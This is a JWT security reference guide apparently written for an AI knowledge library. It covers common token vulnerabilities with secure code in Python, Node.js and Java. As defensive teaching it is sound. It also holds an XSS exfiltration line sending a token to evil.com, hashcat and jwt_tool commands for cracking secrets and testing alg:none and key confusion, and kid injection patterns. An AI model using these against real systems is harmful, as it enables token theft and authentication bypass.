---
# === IDENTITY ===
id: software/security/jwt-security-pitfalls/2026
canonical_question: "What are the common JWT security pitfalls and mitigations?"
aliases:
  - "JWT vulnerabilities and fixes"
  - "JSON Web Token security best practices"
  - "JWT alg none attack prevention"
  - "JWT algorithm confusion attack"
  - "secure JWT implementation guide"
  - "JWT token sidejacking prevention"
  - "how to secure JWTs in production"
  - "CWE-347 JWT improper verification"
entity_type: software_reference
domain: software > security > JWT Security Pitfalls
region: global
jurisdiction: global
temporal_scope: 2024-2026

# === VERIFICATION ===
last_verified: 2026-02-27
confidence: 0.94
version: 1.0
first_published: 2026-02-27

# === TEMPORAL VALIDITY ===
temporal_validity:
  status: stable
  last_breaking_change: "PyJWT 2.4+ requires explicit algorithms parameter; jsonwebtoken 9.0+ disables alg:none by default (2022)"
  next_review: 2026-08-26
  change_sensitivity: medium

# === CONSTRAINTS ===
constraints:
  - "NEVER accept tokens with alg:none in production -- always reject unsigned JWTs"
  - "ALWAYS specify an explicit algorithm allowlist when verifying -- never derive the algorithm from the token header"
  - "NEVER use symmetric HMAC secrets shorter than 256 bits (32 bytes) -- weak secrets are brute-forceable in minutes"
  - "NEVER store sensitive data (passwords, PII, credit card numbers) in JWT claims -- the payload is Base64-encoded, not encrypted"
  - "ALWAYS validate exp, iss, and aud claims during verification -- missing validation enables token reuse across services"
  - "NEVER mix symmetric (HS*) and asymmetric (RS*, ES*, PS*) algorithms on the same verification endpoint"

# === SKIP CONDITIONS ===
skip_this_unit_if:
  - condition: "Need to implement JWT from scratch (creation + signing + verification flow)"
    use_instead: "software/patterns/jwt-implementation/2026"
  - condition: "Need OAuth 2.0 or OpenID Connect token flow, not raw JWT handling"
    use_instead: "software/patterns/oauth2-token-security/2026"
  - condition: "Need general session management without JWTs"
    use_instead: "software/patterns/session-management/2026"

# === AGENT HINTS ===
inputs_needed:
  - key: "jwt_library"
    question: "Which JWT library are you using?"
    type: choice
    options: ["PyJWT (Python)", "jsonwebtoken (Node.js)", "jose (Node.js)", "java-jwt (Java)", "jjwt (Java)", "golang-jwt (Go)", "Other"]
  - key: "signing_algorithm"
    question: "What signing algorithm does your application use?"
    type: choice
    options: ["HS256", "HS384", "HS512", "RS256", "RS384", "RS512", "ES256", "ES384", "PS256", "Unknown"]
  - key: "token_storage"
    question: "Where are JWTs stored on the client side?"
    type: choice
    options: ["localStorage", "sessionStorage", "HttpOnly cookie", "In-memory only", "Not sure"]

# === DISTRIBUTION ===
canonical_source: "https://knowledgelib.io/software/security/jwt-security-pitfalls/2026"
suggested_citation: "Source: knowledgelib.io -- AI Knowledge Library (verified 2026-02-27)"

# === RELATED UNITS ===
related_kos:
  depends_on: []
  related_to:
    - id: "software/security/xss-prevention/2026"
      label: "XSS Prevention Guide"
    - id: "software/patterns/session-management/2026"
      label: "Session Management Patterns"
  solves: []
  alternative_to: []
  often_confused_with:
    - id: "software/patterns/jwt-implementation/2026"
      label: "JWT Implementation Guide (creation, not security pitfalls)"
    - id: "software/patterns/oauth2-token-security/2026"
      label: "OAuth 2.0 Token Security"

# === SOURCES (7 authoritative sources) ===
# Types: official_docs, technical_blog, rfc_spec, academic_paper, community_resource, industry_report
# Reliability: high, moderate_high, moderate, moderate_low, low, authoritative
sources:
  - id: src1
    title: "JSON Web Token for Java Cheat Sheet"
    author: OWASP Foundation
    url: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
    type: community_resource
    published: 2024-10-01
    reliability: authoritative
  - id: src2
    title: "JWT attacks"
    author: PortSwigger Web Security Academy
    url: https://portswigger.net/web-security/jwt
    type: technical_blog
    published: 2025-03-01
    reliability: high
  - id: src3
    title: "RFC 7519 - JSON Web Token (JWT)"
    author: IETF
    url: https://datatracker.ietf.org/doc/html/rfc7519
    type: rfc_spec
    published: 2015-05-01
    reliability: authoritative
  - id: src4
    title: "Critical vulnerabilities in JSON Web Token libraries"
    author: Auth0
    url: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
    type: technical_blog
    published: 2015-03-31
    reliability: high
  - id: src5
    title: "Testing JSON Web Tokens"
    author: OWASP WSTG
    url: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens
    type: community_resource
    published: 2024-06-01
    reliability: authoritative
  - id: src6
    title: "JWT Vulnerabilities List: 2026 Security Risks & Mitigation Guide"
    author: Red Sentry
    url: https://redsentry.com/resources/blog/jwt-vulnerabilities-list-2026-security-risks-mitigation-guide
    type: technical_blog
    published: 2026-01-15
    reliability: moderate_high
  - id: src7
    title: "7 Ways to Avoid API Security Pitfalls when using JWT"
    author: 42Crunch
    url: https://42crunch.com/7-ways-to-avoid-jwt-pitfalls/
    type: technical_blog
    published: 2025-04-01
    reliability: high
---

# JWT Security Pitfalls: Common Vulnerabilities and Mitigations

## TL;DR

- **Bottom line**: Most JWT breaches stem from just 3 mistakes: accepting the `alg:none` header, failing to whitelist algorithms (enabling HMAC/RSA confusion), and using weak signing secrets -- fix these and you eliminate ~80% of JWT attack surface.
- **Key tool/command**: `jwt.decode(token, key, algorithms=["RS256"])` -- always pass an explicit `algorithms` allowlist; never let the token dictate which algorithm to use.
- **Watch out for**: Algorithm confusion attacks where an attacker switches RS256 to HS256 and signs with the public key, producing a token the server validates as legitimate.
- **Works with**: All JWT libraries (PyJWT 2.x+, jsonwebtoken 9.x+, java-jwt 4.x+, jjwt 0.12+, golang-jwt 5.x+). RFC 7519 compliant.

## Constraints
<!-- Agents: read this section before recommending any action from this unit.
     These are hard constraints that must not be violated. -->

- NEVER accept tokens with `alg:none` in production -- always reject unsigned JWTs
- ALWAYS specify an explicit algorithm allowlist when verifying -- never derive the algorithm from the token header
- NEVER use symmetric HMAC secrets shorter than 256 bits (32 bytes) -- weak secrets are brute-forceable in minutes
- NEVER store sensitive data (passwords, PII, credit card numbers) in JWT claims -- the payload is Base64-encoded, not encrypted
- ALWAYS validate `exp`, `iss`, and `aud` claims during verification -- missing validation enables token reuse across services
- NEVER mix symmetric (HS*) and asymmetric (RS*, ES*, PS*) algorithms on the same verification endpoint

## Quick Reference

| # | Vulnerability | Risk | Vulnerable Pattern | Secure Pattern |
|---|---|---|---|---|
| 1 | `alg:none` acceptance | Critical | Library accepts unsigned tokens | Reject `none` algorithm; use `algorithms` allowlist [src1] |
| 2 | Algorithm confusion (RS256 to HS256) | Critical | Server uses token header to pick algorithm | Hard-code expected algorithm in verification config [src4] |
| 3 | Weak HMAC secret | High | `secret = "mysecret"` (8 chars) | Use 256+ bit key from CSPRNG: `openssl rand -base64 64` [src2] |
| 4 | Missing `exp` validation | High | Token never expires | Set short-lived tokens (5-15 min) + refresh tokens [src1] |
| 5 | JWK header injection | High | Server trusts `jwk` parameter in token header | Ignore embedded JWK; use server-side JWKS only [src2] |
| 6 | JKU header injection | High | Server fetches keys from attacker-controlled URL | Whitelist allowed `jku` URLs; pin JWKS endpoint [src2] |
| 7 | KID parameter injection | High | `kid` used in SQL query or file path unsanitized | Validate `kid` against allowlist; never use in SQL/file ops [src2] |
| 8 | Sensitive data in claims | Medium | `{"ssn": "123-45-6789"}` in payload | Use opaque token IDs; store sensitive data server-side [src3] |
| 9 | Token stored in localStorage | Medium | XSS can read `localStorage.getItem("token")` | Use HttpOnly + Secure + SameSite cookies [src1] |
| 10 | No token revocation | Medium | Compromised token valid until `exp` | Maintain server-side denylist keyed by `jti` [src1] |
| 11 | Missing `iss`/`aud` validation | Medium | Token accepted by any service | Verify `iss` matches expected issuer; `aud` matches your service [src3] |
| 12 | Token sidejacking | Medium | Stolen JWT grants full access | Bind token to client fingerprint via hardened cookie [src1] |

## Decision Tree

```
START: What JWT security concern are you addressing?
├── Token verification is failing or bypassed?
│   ├── alg:none accepted? → Reject none; enforce algorithms allowlist
│   ├── Algorithm confusion (HS256 vs RS256)? → Hard-code algorithm; separate HS/RS endpoints
│   └── Signature not verified at all? → Use verify(), NOT decode()
├── Token stolen or reusable across services?
│   ├── No expiry set? → Add exp claim (5-15 min); use refresh tokens
│   ├── No audience validation? → Validate aud claim on every request
│   ├── Stored in localStorage? → Move to HttpOnly + Secure + SameSite cookie
│   └── No revocation mechanism? → Implement jti-based denylist
├── Header parameter injection?
│   ├── jwk in header trusted? → Ignore jwk; use server-side JWKS only
│   ├── jku pointing to external URL? → Whitelist jku URLs
│   └── kid used in SQL/file path? → Validate kid against allowlist
├── Sensitive data exposure?
│   ├── PII in claims? → Remove; use opaque references + server-side lookup
│   └── Internal architecture in claims? → Replace with UUIDs; use generic roles
└── DEFAULT → Apply all constraints above + short token lifetime + HTTPS only
```

## Step-by-Step Guide

### 1. Enforce algorithm allowlists on every verification call

The most critical defense: never let the token header dictate which algorithm the server uses. Specify allowed algorithms explicitly in your verification configuration. [src4]

**Python (PyJWT 2.x)**:
```python
import jwt  # PyJWT >= 2.4.0

# SECURE: explicit algorithm allowlist
payload = jwt.decode(
    token,
    key=public_key,
    algorithms=["RS256"],  # NEVER omit this parameter
    audience="https://api.example.com",
    issuer="https://auth.example.com"
)
```

**Node.js (jsonwebtoken 9.x)**:
```javascript
const jwt = require('jsonwebtoken');  // >= 9.0.0

// SECURE: explicit algorithm allowlist
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],  // NEVER omit
  audience: 'https://api.example.com',
  issuer: 'https://auth.example.com'
});
```

**Verify**: Craft a token with `"alg": "none"` and empty signature -- your server should reject it with an algorithm mismatch error.

### 2. Use strong signing keys

For HMAC (symmetric) algorithms, the key must be at least 256 bits. For RSA, use 2048-bit keys minimum (4096-bit recommended). [src2]

```bash
# Generate a strong HMAC secret (64 bytes = 512 bits)
openssl rand -base64 64

# Generate an RSA 4096-bit key pair
openssl genrsa -out private.pem 4096
openssl rsa -in private.pem -pubout -out public.pem

# Generate an EC P-256 key pair (for ES256)
openssl ecparam -name prime256v1 -genkey -noout -out ec-private.pem
openssl ec -in ec-private.pem -pubout -out ec-public.pem
```

**Verify**: Attempt brute-force with `hashcat -a 0 -m 16500 <token> <wordlist>` -- should be computationally infeasible with a strong key.

### 3. Set short token lifetimes and validate temporal claims

Access tokens should expire in 5-15 minutes. Use refresh tokens for longer sessions. Always validate `exp`, `nbf`, and `iat`. [src1]

```python
import jwt
from datetime import datetime, timezone, timedelta

# Token creation with short lifetime
payload = {
    "sub": user_id,
    "iss": "https://auth.example.com",
    "aud": "https://api.example.com",
    "iat": datetime.now(timezone.utc),
    "exp": datetime.now(timezone.utc) + timedelta(minutes=15),
    "nbf": datetime.now(timezone.utc),
    "jti": str(uuid.uuid4())  # Unique ID for revocation
}
token = jwt.encode(payload, private_key, algorithm="RS256")
```

**Verify**: Create a token with `exp` set 1 second in the past -- verification should raise `ExpiredSignatureError`.

### 4. Implement token revocation with a jti denylist

JWTs are stateless by design but compromised tokens remain valid until expiry. Maintain a denylist for critical operations (logout, password change). [src1]

```sql
-- Denylist table (cleanup expired entries with a cron job)
CREATE TABLE revoked_tokens (
  jti         VARCHAR(255) PRIMARY KEY,
  revoked_at  TIMESTAMP DEFAULT NOW(),
  expires_at  TIMESTAMP NOT NULL  -- auto-cleanup after token would have expired
);

-- Check on every request
SELECT 1 FROM revoked_tokens WHERE jti = $1;
```

```python
# On logout or password change:
def revoke_token(jti, exp_timestamp):
    db.execute(
        "INSERT INTO revoked_tokens (jti, expires_at) VALUES (%s, %s) ON CONFLICT DO NOTHING",
        (jti, exp_timestamp)
    )

# On verification (middleware):
def is_revoked(jti):
    result = db.execute("SELECT 1 FROM revoked_tokens WHERE jti = %s", (jti,))
    return result.fetchone() is not None
```

**Verify**: Revoke a valid token's `jti`, then attempt to use the token -- should be rejected.

### 5. Secure client-side token storage

Never store JWTs in localStorage (vulnerable to XSS). Use HttpOnly cookies with Secure, SameSite, and path restrictions. [src1]

```javascript
// Server-side: Set token as HttpOnly cookie (Express.js)
res.cookie('access_token', token, {
  httpOnly: true,   // Not accessible via JavaScript
  secure: true,     // HTTPS only
  sameSite: 'Strict', // No cross-site sending
  maxAge: 15 * 60 * 1000, // 15 minutes
  path: '/api'      // Only sent to API endpoints
});
```

**Verify**: Open browser DevTools > Console > `document.cookie` -- the token should NOT appear (HttpOnly prevents JS access).

### 6. Bind tokens to client context (anti-sidejacking)

Generate a random fingerprint during authentication, hash it into the token, and send the raw value as a hardened cookie. Validate both on each request. [src1]

```python
import hashlib, secrets

# During authentication:
fingerprint = secrets.token_hex(32)
fingerprint_hash = hashlib.sha256(fingerprint.encode()).hexdigest()

# Include hash in JWT claims:
claims = {
    "sub": user_id,
    "exp": ...,
    "user_context": fingerprint_hash
}

# Set fingerprint as hardened cookie:
# Set-Cookie: __Secure-Fgp={fingerprint}; HttpOnly; Secure; SameSite=Strict
```

**Verify**: Extract the JWT and replay it without the cookie -- should be rejected due to mismatched fingerprint.

## Code Examples

### Python/PyJWT: Secure Token Verification

> Full script: [python-pyjwt-secure-token-verification.py](scripts/python-pyjwt-secure-token-verification.py) (31 lines)

```python
import jwt  # PyJWT >= 2.4.0
# Input:  JWT string, RSA public key (PEM), expected issuer and audience
# Output: Decoded claims dict, or raises exception on invalid token
def verify_token(token: str, public_key: str) -> dict:
    """Verify JWT with all security checks."""
# ... (see full script)
```

### Node.js/jsonwebtoken: Secure Token Verification

```javascript
const jwt = require('jsonwebtoken');  // >= 9.0.0

// Input:  JWT string, RSA public key (PEM)
// Output: Decoded payload, or throws on invalid token

function verifyToken(token, publicKey) {
  return jwt.verify(token, publicKey, {
    algorithms: ['RS256'],     // Explicit allowlist -- NEVER omit
    audience: 'https://api.example.com',
    issuer: 'https://auth.example.com',
    complete: false,           // Return payload only, not header
    clockTolerance: 5,         // 5 seconds leeway for clock skew
  });
}
```

### Java/jjwt: Secure Token Verification

```java
// jjwt >= 0.12.0
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.PublicKey;

// Input:  JWT string, RSA public key
// Output: Claims object, or throws SignatureException / ExpiredJwtException

public Claims verifyToken(String token, PublicKey publicKey) {
    return Jwts.parser()
        .verifyWith(publicKey)                       // Binds to specific key
        .requireIssuer("https://auth.example.com")   // Validates iss
        .requireAudience("https://api.example.com")  // Validates aud
        .build()
        .parseSignedClaims(token)                    // Rejects unsigned (alg:none)
        .getPayload();
}
```

## Anti-Patterns

### Wrong: Deriving algorithm from the token header

```python
# BAD -- attacker controls the algorithm by modifying the JWT header
import jwt
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, key, algorithms=[header["alg"]])
# Attacker sets alg:HS256, signs with the RSA public key -> accepted!
```

### Correct: Hard-code the expected algorithm

```python
# GOOD -- server dictates the algorithm, not the token
import jwt
payload = jwt.decode(token, key, algorithms=["RS256"])  # Only RS256 accepted
```

### Wrong: Using decode() instead of verify()

```javascript
// BAD -- decode() does NOT verify the signature
const jwt = require('jsonwebtoken');
const payload = jwt.decode(token);  // Anyone can forge this token
```

### Correct: Always use verify() with algorithm enforcement

```javascript
// GOOD -- verify() checks signature + claims
const jwt = require('jsonwebtoken');
const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
```

### Wrong: Weak HMAC secret

```python
# BAD -- short secrets are brute-forceable with hashcat in minutes
import jwt
token = jwt.encode(payload, "secret123", algorithm="HS256")
# hashcat -a 0 -m 16500 <token> rockyou.txt -> cracked in seconds
```

### Correct: Cryptographically strong secret

```python
# GOOD -- 512-bit key from CSPRNG
import jwt, secrets
signing_key = secrets.token_bytes(64)  # 512 bits
token = jwt.encode(payload, signing_key, algorithm="HS256")
```

### Wrong: Storing JWTs in localStorage

```javascript
// BAD -- any XSS vulnerability can steal the token
localStorage.setItem('token', jwt);
// XSS payload: fetch('https://evil.com?t=' + localStorage.getItem('token'))
```

### Correct: HttpOnly cookie storage

```javascript
// GOOD -- JavaScript cannot access HttpOnly cookies
res.cookie('token', jwt, {
  httpOnly: true, secure: true, sameSite: 'Strict', path: '/api'
});
```

### Wrong: No expiry or extremely long expiry

```python
# BAD -- token valid forever; if stolen, attacker has permanent access
payload = {"sub": user_id}  # No exp claim
token = jwt.encode(payload, key, algorithm="RS256")
```

### Correct: Short-lived tokens with refresh flow

```python
# GOOD -- 15-minute access token + refresh token for session continuity
from datetime import datetime, timezone, timedelta
payload = {
    "sub": user_id,
    "exp": datetime.now(timezone.utc) + timedelta(minutes=15),
    "jti": str(uuid.uuid4())
}
token = jwt.encode(payload, key, algorithm="RS256")
```

## Common Pitfalls

- **Algorithm confusion on shared endpoints**: A service using RS256 has its public key exposed. An attacker changes `alg` to HS256, signs with the public key as the HMAC secret, and the server verifies successfully because the same key is used for both. Fix: Never allow both symmetric and asymmetric algorithms on the same endpoint. [src4]
- **Case-insensitive `alg:none` bypass**: Libraries may reject `"none"` but accept `"None"`, `"nOnE"`, or `"NONE"`. Auth0 was vulnerable to this exact bypass in production. Fix: Case-insensitive rejection of all `none` variants; better yet, use an algorithm allowlist (which inherently rejects `none`). [src4]
- **JWK/JKU header trust**: If the server fetches verification keys from the `jku` URL in the token header without validating it against a whitelist, an attacker can host their own JWKS and sign tokens with their own key. Fix: Ignore `jku`/`jwk` from the token header; configure JWKS endpoints server-side. [src2]
- **KID injection to SQL/filesystem**: If `kid` is used in a SQL query (`SELECT key FROM keys WHERE kid = '${kid}'`) or file path (`readFile('/keys/' + kid)`), attackers can inject SQL or traverse directories to `/dev/null` (signing with an empty key). Fix: Validate `kid` against an allowlist; never interpolate into queries or paths. [src2]
- **Accepting tokens without `aud` claim**: A token issued for Service A is replayed against Service B. Both services share the same issuer and trust the same key. Fix: Always set and validate the `aud` (audience) claim specific to each service. [src3]
- **Token replay after password change**: User changes their password, but old JWTs remain valid until `exp`. Fix: Include a password hash version or `auth_time` claim and check it server-side, or revoke all tokens via denylist on password change. [src1]
- **Sensitive data leakage from claims**: Developers place email, SSN, or internal IDs in the JWT payload, not realizing Base64 is encoding, not encryption. Fix: Use JWE (encrypted JWTs) or store only opaque identifiers and look up sensitive data server-side. [src3]
- **Clock skew causing false rejections**: Distributed systems with unsynchronized clocks reject valid tokens or accept expired ones. Fix: Configure a `clockTolerance` of 5-30 seconds in your verification library; keep servers NTP-synced. [src7]

## Diagnostic Commands

```bash
# Decode a JWT without verification (inspect header + payload)
echo 'eyJhbGci...' | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo 'eyJhbGci...' | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Check JWT header algorithm
echo $JWT | cut -d. -f1 | base64 -d 2>/dev/null | jq -r .alg

# Brute-force weak HMAC secrets with hashcat
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt

# Test for alg:none vulnerability with jwt_tool
python3 jwt_tool.py <token> -X a   # Test alg:none
python3 jwt_tool.py <token> -X k   # Test key confusion
python3 jwt_tool.py <token> -X s   # Test HMAC secret brute-force

# Verify RSA key strength
openssl rsa -in private.pem -text -noout | head -1
# Should show: Private-Key: (4096 bit)

# Check a JWKS endpoint for key issues
curl -s https://auth.example.com/.well-known/jwks.json | jq '.keys[] | {kid, kty, alg, use}'

# Verify token expiry from the command line
echo $JWT | cut -d. -f2 | base64 -d 2>/dev/null | jq '.exp | todate'
```

## Version History & Compatibility

| Library | Version | Status | Key Security Feature |
|---|---|---|---|
| PyJWT | 2.x (2.11.0) | Current | `algorithms` parameter required by default; rejects `none` |
| PyJWT | 1.x | EOL | `algorithms` parameter optional -- vulnerable to confusion attacks |
| jsonwebtoken (Node) | 9.x | Current | `algorithms` required in `verify()`; rejects `none` by default |
| jsonwebtoken (Node) | 8.x | Deprecated | `algorithms` optional -- vulnerable if omitted |
| java-jwt (Auth0) | 4.x | Current | Typed algorithm builders prevent confusion attacks |
| jjwt (Java) | 0.12.x | Current | `parseSignedClaims()` rejects unsigned tokens |
| golang-jwt | 5.x | Current | `WithValidMethods()` enforces algorithm allowlist |
| RFC 7519 | N/A | Active | Defines JWT structure; mandates HS256 + `none` support (but `none` should be disabled in production) |

## When to Use / When Not to Use

| Use When | Don't Use When | Use Instead |
|---|---|---|
| Stateless API authentication in microservices | You need immediate token revocation for every request | Server-side sessions with session ID |
| Single Sign-On (SSO) across multiple domains | Tokens carry large amounts of data (>4KB) | Opaque tokens + server-side data store |
| Short-lived access tokens (5-15 min lifetime) | You store sensitive PII in the token payload | Encrypted tokens (JWE) or opaque references |
| Mobile/SPA clients calling REST APIs | Your threat model requires instant logout across all sessions | Session-based auth with server-side invalidation |

## Important Caveats

- RFC 7519 mandates that implementations support `alg:none` -- but supporting it and accepting it in production are different things; always reject `none` in verification [src3]
- The `iss` claim alone is not sufficient for trust -- you must also verify the signing key belongs to the stated issuer (key binding) [src3]
- JWTs in URL query parameters (e.g., `?token=ey...`) leak in server logs, referer headers, and browser history -- always transmit in Authorization header or HttpOnly cookies [src5]
- Token rotation (issuing a new access token via refresh token) does not invalidate the old token -- both remain valid until their `exp`; implement refresh token rotation with one-time-use semantics [src7]
- Library defaults change between major versions -- PyJWT 1.x vs 2.x and jsonwebtoken 8.x vs 9.x have different default behaviors for algorithm validation; always check your specific version [src6]
- JWTs are not inherently more secure than session tokens -- they trade server-side state for cryptographic complexity; if your application is a monolith with a single database, sessions may be simpler and equally secure [src1]

## Related Units
<!-- Generated from related_kos frontmatter -->

- [XSS Prevention Guide](/software/security/xss-prevention/2026)
- [Session Management Patterns](/software/patterns/session-management/2026)
- [JWT Implementation Guide](/software/patterns/jwt-implementation/2026)
- [OAuth 2.0 Token Security](/software/patterns/oauth2-token-security/2026)
